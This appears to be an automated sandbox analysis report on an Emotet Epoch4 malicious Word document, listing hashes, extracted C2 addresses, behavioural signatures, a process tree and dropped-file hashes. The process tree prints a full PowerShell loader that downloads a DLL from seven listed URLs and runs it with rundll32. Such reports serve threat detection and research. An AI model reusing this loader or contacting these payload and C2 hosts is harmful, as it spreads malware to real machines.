Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    17-11-2021 08:29

General

  • Target

    emotet_e4_06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8_2021-11-17__082839023390._docm.doc

  • Size

    140KB

  • MD5

    391dca4cf91ae12aa1b5ac9d0ac3ec41

  • SHA1

    47cfcf587d838f68a8f8df53ea3afae475436992

  • SHA256

    06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

  • SHA512

    de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

Malware Config

Extracted

Family

emotet

Botnet

Epoch4

C2

91.200.186.228:443

191.252.196.221:8080

94.177.248.64:443

66.42.55.5:7080

103.8.26.103:8080

185.184.25.237:8080

103.8.26.102:8080

178.79.147.66:8080

58.227.42.236:80

45.118.135.203:7080

103.75.201.2:443

195.154.133.20:443

45.142.114.231:8080

212.237.5.209:443

207.38.84.195:8080

104.251.214.46:8080

212.237.17.99:8080

212.237.56.116:7080

216.158.226.206:443

110.232.117.186:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 44 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e4_06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8_2021-11-17__082839023390._docm.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2168
        • C:\Windows\SysWow64\rundll32.exe
          "C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\2056454785.dll,f1404165493
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:956
          • C:\Windows\SysWOW64\rundll32.exe
            C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\2056454785.dll",Control_RunDLL
            5⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1988
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Satbnd\cucjohdllmtg.pfr",tHDNhYOZCXyJr
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1612
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Satbnd\cucjohdllmtg.pfr",Control_RunDLL
                7⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                PID:2288

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\2056454785.dll
    MD5

    f50f44c1c5740f71e07e108019af3848

    SHA1

    d24c7c7f460e57c9f945f5fd2b34f8dc05d36c4b

    SHA256

    641a6b8d9e2180b145bcc39ff16a5a20fe89de81d7624f1e0eaa562a411888c5

    SHA512

    c7c6e559783b160a640b7856b6ec0148befec5134067e5e57eec437246ba8ecbc8e7bd1d696ed8a960ec0f7d2484f096a8caca3437430bf5da36388ab56bb0bb

  • \ProgramData\2056454785.dll
    MD5

    f50f44c1c5740f71e07e108019af3848

    SHA1

    d24c7c7f460e57c9f945f5fd2b34f8dc05d36c4b

    SHA256

    641a6b8d9e2180b145bcc39ff16a5a20fe89de81d7624f1e0eaa562a411888c5

    SHA512

    c7c6e559783b160a640b7856b6ec0148befec5134067e5e57eec437246ba8ecbc8e7bd1d696ed8a960ec0f7d2484f096a8caca3437430bf5da36388ab56bb0bb

  • \ProgramData\2056454785.dll
    MD5

    f50f44c1c5740f71e07e108019af3848

    SHA1

    d24c7c7f460e57c9f945f5fd2b34f8dc05d36c4b

    SHA256

    641a6b8d9e2180b145bcc39ff16a5a20fe89de81d7624f1e0eaa562a411888c5

    SHA512

    c7c6e559783b160a640b7856b6ec0148befec5134067e5e57eec437246ba8ecbc8e7bd1d696ed8a960ec0f7d2484f096a8caca3437430bf5da36388ab56bb0bb

  • memory/956-335-0x0000000000000000-mapping.dmp
  • memory/956-353-0x0000000010000000-0x0000000010028000-memory.dmp
    Filesize

    160KB

  • memory/1612-354-0x0000000000000000-mapping.dmp
  • memory/1988-351-0x0000000000000000-mapping.dmp
  • memory/2168-276-0x00000189A1290000-0x00000189A1292000-memory.dmp
    Filesize

    8KB

  • memory/2168-327-0x00000189A1298000-0x00000189A1299000-memory.dmp
    Filesize

    4KB

  • memory/2168-266-0x0000000000000000-mapping.dmp
  • memory/2168-277-0x00000189A1293000-0x00000189A1295000-memory.dmp
    Filesize

    8KB

  • memory/2168-299-0x00000189A1296000-0x00000189A1298000-memory.dmp
    Filesize

    8KB

  • memory/2288-355-0x0000000000000000-mapping.dmp
  • memory/4160-122-0x000001EFC4250000-0x000001EFC4252000-memory.dmp
    Filesize

    8KB

  • memory/4160-121-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp
    Filesize

    64KB

  • memory/4160-120-0x000001EFC4250000-0x000001EFC4252000-memory.dmp
    Filesize

    8KB

  • memory/4160-119-0x000001EFC4250000-0x000001EFC4252000-memory.dmp
    Filesize

    8KB

  • memory/4160-118-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp
    Filesize

    64KB

  • memory/4160-117-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp
    Filesize

    64KB

  • memory/4160-116-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp
    Filesize

    64KB

  • memory/4160-115-0x00007FFBF0C60000-0x00007FFBF0C70000-memory.dmp
    Filesize

    64KB

  • memory/4964-261-0x0000000000000000-mapping.dmp